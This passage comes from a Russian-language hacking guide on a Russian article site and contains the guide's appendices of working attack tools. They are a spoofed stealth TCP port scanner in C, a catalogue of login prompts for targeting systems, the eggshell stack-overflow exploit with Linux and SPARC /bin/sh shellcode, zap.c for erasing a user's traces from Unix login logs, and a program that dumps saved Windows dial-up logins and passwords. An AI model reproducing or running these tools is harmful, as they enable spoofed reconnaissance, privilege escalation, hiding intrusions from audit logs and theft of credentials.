TH_SYN; break; case 1 : scanflags = TH_FIN; break; case 2 : scanflags = TH_ACK; break; default : printf("%s: unknown scanning method\n",argv[0]); return -1; } spoof_name = argv[2]; dest_name = argv[3]; portstr = argv[4]; usecdelay = atol(argv[5]); waitdelay = atoi(argv[6]); if (argc > 7) slowfactor = atoi(argv[7]); if ((usecdelay == 0) && (slowfactor > 0)) { printf("%s: adjusting microsecond-delay to 1usec.\n"); usecdelay++; } return 0; } int build_ports(char *str) /* build the initial port-database */ { int i; int n; struct portrec *p; int sport; char *s; s = str; maxports = 0; n = 0; while (*s != '\0') { switch (*s) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': n *= 10; n += (*s - '0'); break; case '-': if (n == 0) return -1; sport = n; n = 0; break; case ',': if (n == 0) return -1; if (sport != 0) { if (sport >= n) return -1; maxports += n-sport; sport = 0; } else maxports++; n = 0; break; } s++; } if (n == 0) return -1; if (sport != 0) { if (sport >= n) return -1; maxports += n-sport; sport = 0; } else maxports++; maxports+=2; if ((ports = (struct portrec *)malloc((maxports)*sizeof(struct portrec))) == NULL) { fprintf(stderr,"\nerror: not enough memory for port database\n\n"); exit(1); } s = str; maxports = 0; n = 0; while (*s != '\0') { switch (*s) { case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': n *= 10; n += (*s - '0'); break; case '-': if (n == 0) return -1; sport = n; n = 0; break; case ',': if (n == 0) return -1; if (sport != 0) { if (sport >= n) return -1; while (sport <= n) { for (i=0;i<maxports;i++) if ((ports+i)->n == sport) break; if (i < maxports-1 ) printf("notice: duplicate port - %d\n",sport); else { (ports+maxports)->n = sport; maxports++; } sport++; } sport = 0; } else { for (i=0;i<maxports;i++) if ((ports+i)->n == n) break; if (i < maxports-1 ) printf("notice: duplicate port - %d\n",n); else { (ports+maxports)->n = n; maxports++; } } n = 0; break; } s++; } if (n == 0) return -1; if (sport != 0) { if (sport >= n) return -1; while (sport <= n) { for (i=0;i<maxports;i++) if ((ports+i)->n == sport) break; if (i < maxports-1 ) printf("notice: duplicate port - %d\n",sport); else { (ports+maxports)->n = sport; maxports++; } sport++; } sport = 0; } else { for (i=0;i<maxports;i++) if ((ports+i)->n == n) break; if (i < maxports-1 ) printf("notice: duplicate port - %d\n",n); else { (ports+maxports)->n = n; maxports++; } } printf("\n"); for (i=0;i<maxports;i++) { p = ports+i; p->state = 0; p->sends = 0; } return 0; } struct portrec *portbynum(int num) { int i = 0; while ( ((ports+i)->n != num) && (i<maxports) ) i++; if ( i == maxports ) return NULL; return (ports+i); } struct portrec *nextport(char save) { struct portrec *p = ports; int doneports = 0; int oldlastidx = lastidx; while (doneports != maxports) { p = ports+lastidx; if ((p->state != 0) || (p->sends == STCP_SENDS)) { doneports++; lastidx++; lastidx %= maxports; } else break; } if (save) lastidx = oldlastidx; else lastidx = (lastidx + 1) % maxports; if (doneports == maxports) return NULL; return p; } inline unsigned long usecdiff(struct timeval *a, struct timeval *b) { unsigned long s; s = b->tv_sec - a->tv_sec; s *= 1000000; s += b->tv_usec - a->tv_usec; return s; /* return the stupid microsecond diff */ } void main(int argc, char *argv[]) { int lastsent = 0; char buf[3000]; struct iphdr *ip = (struct iphdr *)(buf); struct tcphdr *tcp = (struct tcphdr *)(buf+sizeof(struct iphdr)); struct sockaddr_in from; int fromlen; struct portrec *readport; fd_set rset, wset; struct timeval waitsend, now, del; unsigned long udiff; int sendthreshold = 0; banner(); if (parse_args(argc,argv)) { usage(argv[0]); return; } if (resolve_one(dest_name, &dest_addr, "destination host")) exit(1); destaddr.sin_addr.s_addr = dest_addr; destaddr.sin_family = AF_INET; if (resolve_one(spoof_name, &spoof_addr, "source host")) exit(1); if ( build_ports(portstr) == -1) { printf("\n%s: bad port string\n",argv[0]); usage(argv[0]); return; } give_info(); if ((tcpsock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP)) == -1) { printf("\nerror: couldn't get TCP raw socket\n\n"); exit(1); } if ((rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) { printf("\nerror: couldn't get raw socket\n\n"); exit(1); } /* well, let's get to it. */ done = 0; printf("* BEGINNING SCAN\n"); fflush(stdout); gettimeofday(&waitsend,NULL); while (!done) { if (nextport(1) == NULL) { alarm(0); /* no more sends, now we just */ signal(SIGALRM,timeout); /* to wait <waitdelay> seconds */ alarm(waitdelay); /* before resetting and giving */ } /* results. */ FD_ZERO(&rset); FD_SET(tcpsock,&rset); gettimeofday(&now,NULL); udiff = usecdiff(&waitsend,&now); /* here comes the multiple choice select(). * well, there are 3 states: * 1. already sent all the packets. * 2. didn't send all the packets, but it's not time for another send * 3. didn't send all the packets and it is time for another send. */ if (nextport(1) != NULL) if (udiff > usecdelay) { FD_ZERO(&wset); FD_SET(rawsock,&wset); select(FD_SETSIZE,&rset,&wset,NULL,NULL); } else { del.tv_sec = 0; del.tv_usec = usecdelay; select(FD_SETSIZE,&rset,NULL,NULL,&del); } else select(FD_SETSIZE,&rset,NULL,NULL,NULL); if (FD_ISSET(tcpsock,&rset)) /* process the reply */ { fromlen = sizeof(from); recvfrom(tcpsock,&buf,3000,0, (struct sockaddr *)&from,&fromlen); if (from.sin_addr.s_addr == destaddr.sin_addr.s_addr) if (ntohs(tcp->th_dport) == STCP_PORT) { printf("* got reply"); readport = portbynum(ntohs(tcp->th_sport)); if (readport == NULL) printf(" -- bad port"); else { sendthreshold = 0; if (!readport->state) { readport->ttl = ip->ttl; readport->window = tcp->th_win; if (tcp->th_flags & TH_RST) { readport->state = -1; printf(" (RST)"); if (readport->ttl < 65) printf(" (short ttl)"); if (readport->window > 0) printf(" (big window)"); } else if (tcp->th_flags & (TH_ACK | TH_SYN)) { readport->state = 1; printf(" (SYN+ACK)"); tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,readport->n, TH_RST, readport->seq++, 0, 512, NULL, 0); } else { readport->state = 2; printf(" (UNEXPECTED)"); tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,readport->n, TH_RST, readport->seq++, 0, 512, NULL, 0); } } else printf(" (duplicate)"); } printf("\n"); fflush(stdout); } } if (nextport(1) != NULL) if (FD_ISSET(rawsock,&wset)) /* process the sends */ { readport = nextport(0); destaddr.sin_port = htons(readport->n); printf("* sending to port %d ",ntohs(destaddr.sin_port)); readport->seq = lrand48(); readport->sends++; tcpip_send(rawsock,&destaddr, spoof_addr,destaddr.sin_addr.s_addr, STCP_PORT,ntohs(destaddr.sin_port), scanflags, readport->seq++, lrand48(), 512, NULL, 0); gettimeofday(&waitsend,NULL); FD_ZERO(&wset); printf("\n"); if ((++sendthreshold > STCP_THRESHOLD) && (slowfactor)) { printf("\n\n -- THRESHOLD CROSSED - SLOWING UP SENDS\n\n"); usecdelay *= slowfactor; sendthreshold = 0; } } } } /* * EOF */ --- Приложение 5. Некоторые OS и их приглашения. --- begin banners.txt --- Почти все UNIX ~~~~~~~~~~~~~~ [... Любой текст ...] login: root password: AS/400 ~~~~~~ UserID? Password? CDC Cyber ~~~~~~~~~ FAMILY: USER NAME: PRIMOS ~~~~~~ PRIMENET 19.2.7F PPOA1 [... Любой текст ...] ER! CISCO Router ~~~~~~~~~~~~ REMOTE Router - TN043R1 Console Port TN043R1> VM/370 ~~~~~~ VM/370 ! DECserver ~~~~~~~~~ [... Любой текст ...] Please type HELP if you need assistance Enter username> TNO Local> Hewlett Packard MPE-XL и другие HP ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ : EXPECTED A :HELLO COMMAND. (CIERR 6057) :HELLO EXPECTED [SESSION NAME,] USER.ACCT [,GROUP] (CIERR 1424) : GTN ~~~ WELCOME TO XXXXXXXXX. PLEASE SIGN ON. @ PASSWORD = @ Lantronix Terminal Server ~~~~~~~~~~~~~~~~~~~~~~~~~ Lantronix ETS16 Version V3.1/1(940623) Type HELP at the 'Local_15> ' prompt for assistance. Login password> Novell ONLAN ( Для работы с этой системой требуется ONLAN/PC ) ~~~~~~~~~~~~ <Control-A>N PC-Anywhere ( Для работы с этой системой требуется PCAnywhere Remote ) ~~~~~~~~~~~ <Control-A>P ROLM CBX II ~~~~~~~~~~~ ROLM CBXII RELEASE 9004.2.34 RB295 9000D IBMHO27568 BIND DATE: 7/APR/93 COPYRIGHT 1980, 1993 ROLM COMPANY. ALL RIGHTS RESERVED. ROLM IS A REGISTERED TRADEMARK AND CBX IS A TRADEMARK OF ROLM COMPANY. YOU HAVE ENTERED CPU 1 12:38:47 ON WEDNESDAY 2/15/1995 USERNAME: op PASSWORD: INVALID USERNAME-PASSWORD PAIR ROLM-OSL ~~~~~~~~ MARAUDER10292 01/09/85(^G) 1 03/10/87 00:29:47 RELEASE 8003 OSL, PLEASE. ? System75 ~~~~~~~~ Login: root INCORRECT LOGIN Login: browse Password: Tops-10 ~~~~~~~ NIH Timesharing NIH Tri-SMP 7.02-FF 16:30:04 TTY11 system 1378/1381/1453 Connected to Node Happy(40) Line # 12 Please LOGIN . VM/ESA ~~~~~~ VM/ESA ONLINE TBVM2 VM/ESA Rel 1.1 PUT 9200 Fill in your USERID and PASSWORD and press ENTER (Your password will not appear when you type it) USERID ===> PASSWORD ===> COMMAND ===> Xylogics Annex Communications Server ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Annex Command Line Interpreter * Copyright 1991 Xylogics, Inc. Checking authorization, Please wait... Annex username: TNO Annex password: Permission granted annex: --- Приложение 6. Пример программы для срыва стека. --- begin shellcod.h --- /* * shellcode.h */ #if defined(__i386__) && defined(__linux__) #define NOP_SIZE 1 char nop[] = "\x90"; char shellcode[] = "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" "\x80\xe8\xdc\xff\xff\xff/bin/sh"; unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } #elif defined(__sparc__) && defined(__sun__) && defined(__svr4__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\x91\xd0\x20\x08" "\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd0\x20\x08"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #elif defined(__sparc__) && defined(__sun__) #define NOP_SIZE 4 char nop[]="\xac\x15\xa1\x6e"; char shellcode[] = "\x2d\x0b\xd8\x9a\xac\x15\xa1\x6e\x2f\x0b\xdc\xda\x90\x0b\x80\x0e" "\x92\x03\xa0\x08\x94\x1a\x80\x0a\x9c\x03\xa0\x10\xec\x3b\xbf\xf0" "\xdc\x23\xbf\xf8\xc0\x23\xbf\xfc\x82\x10\x20\x3b\xaa\x10\x3f\xff" "\x91\xd5\x60\x01\x90\x1b\xc0\x0f\x82\x10\x20\x01\x91\xd5\x60\x01"; unsigned long get_sp(void) { __asm__("or %sp, %sp, %i0"); } #endif /* * EOF */--- begin eggshell.c --- /* * eggshell v1.0 * * Aleph One / aleph1@underground.org */ #include <stdlib.h> #include <stdio.h> #include "shellcod.h" #define DEFAULT_OFFSET 0 #define DEFAULT_BUFFER_SIZE 512 #define DEFAULT_EGG_SIZE 2048 void usage(void); extern char* optarg; void main(int argc, char *argv[]) { char *ptr, *bof, *egg; long *addr_ptr, addr; int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; int i, n, m, c, align=0, eggsize=DEFAULT_EGG_SIZE; while ((c = getopt(argc, argv, "a:b:e:o:")) != EOF) switch (c) { case 'a': align = atoi(optarg); break; case 'b': bsize = atoi(optarg); break; case 'e': eggsize = atoi(optarg); break; case 'o': offset = atoi(optarg); break; case '?': usage(); exit(0); } if (strlen(shellcode) > eggsize) { printf("Shellcode is larger the the egg.\n"); exit(0); } if (!(bof = malloc(bsize))) { printf("Can't allocate memory.\n"); exit(0); } if (!(egg = malloc(eggsize))) { printf("Can't allocate memory.\n"); exit(0); } addr = get_sp() - offset; printf("[ Buffer size:\t%d\t\tEgg size:\t%d\tAligment:\t%d\t]\n", bsize, eggsize, align); printf("[ Address:\t0x%x\tOffset:\t\t%d\t\t\t\t]\n", addr, offset); addr_ptr = (long *) bof; for (i = 0; i < bsize; i+=4) *(addr_ptr++) = addr; ptr = egg; for (i=0; i <= eggsize - strlen(shellcode) - NOP_SIZE; i+=NOP_SIZE) for (n = 0; n < NOP_SIZE; n++) { m = (n + align) % NOP_SIZE; *(ptr++) = nop[m]; } for (i = 0; i < strlen(shellcode); i++) *(ptr++) = shellcode[i]; bof[bsize - 1] = '\0'; egg[eggsize - 1] = '\0'; memcpy(egg,"EGG=",4); putenv(egg); memcpy(bof,"BOF=",4); putenv(bof); system("/bin/sh"); } void usage(void) { (void)fprintf(stderr, "usage: eggshell [-a <alignment>] [-b <buffersize>] \ [-e <eggsize>] [-o <offset>]\n"); } --- Приложение 7. Программа модификации log-файлов Unix. --- begin zap.c --- /* * zap.c Many authors, last changes by /DZh. */ #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(char *who) { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } else printf("Can't open %s\n", UTMP_NAME ); } void kill_wtmp(char *who) { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } else printf("Can't open %s\n",WTMP_NAME); } void kill_lastlog(char *who) { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } else printf("Can't open %s\n", LASTLOG_NAME); } else printf("%s: ?\n",who); } main( int argc, char *argv[] ) { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap !\n"); } else printf("Isage: zap <username>\n"); } --- Приложение 8. Программа просмотра информации Dialup соединений Windows. --- begin winphone.cpp --- // Active user phonebook viewer with decrypted passwords :-) // (c) DZh, one of last day of 1998 year // Visual C++ note: // Add rasapi32.lib into you Project/Settings/Link/Object_Modules #include <windows.h> #include <stdio.h> #include <ras.h> #define MAX_ENTRIES 20 void main(void) { LPRASENTRYNAME EntryArray = new (RASENTRYNAME[MAX_ENTRIES]); DWORD lpcb = sizeof(RASENTRYNAME)*MAX_ENTRIES; DWORD lpcEntries; DWORD i, e; int lpfPassword; RASDIALPARAMS DialEntry; RASENTRY EntryParam; DWORD dwEntryInfoSize = sizeof(RASENTRY); printf("Active phonebook:\n"); printf("Entry : Phone : Login/Pass\n"); EntryArray[0].dwSize = sizeof(RASENTRYNAME); if( (e = RasEnumEntries( NULL, "", EntryArray, &lpcb, &lpcEntries)) == 0 ) for(i=0;i<lpcEntries;i++) { strcpy(DialEntry.szEntryName, EntryArray[i].szEntryName); DialEntry.dwSize = sizeof(RASDIALPARAMS); RasGetEntryDialParams("", &DialEntry, &lpfPassword ); EntryParam.dwSize = sizeof(RASENTRY); RasGetEntryProperties("", DialEntry.szEntryName, &EntryParam, &dwEntryInfoSize, NULL, NULL); printf("%s : %s : %s/%s\n", DialEntry.szEntryName, EntryParam.szLocalPhoneNumber, DialEntry.szUserName, lpfPassword==1?DialEntry.szPassword:"no_password"); } else printf("RasEnumEntries error? Code:%d\n", e); } ---

<< Предыдущая ИНДЕКС Поиск в статьях src Установить закладку Перейти на закладку Следующая >>

 Добавить комментарий
Имя:
E-Mail:
Заголовок:
Текст:




Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру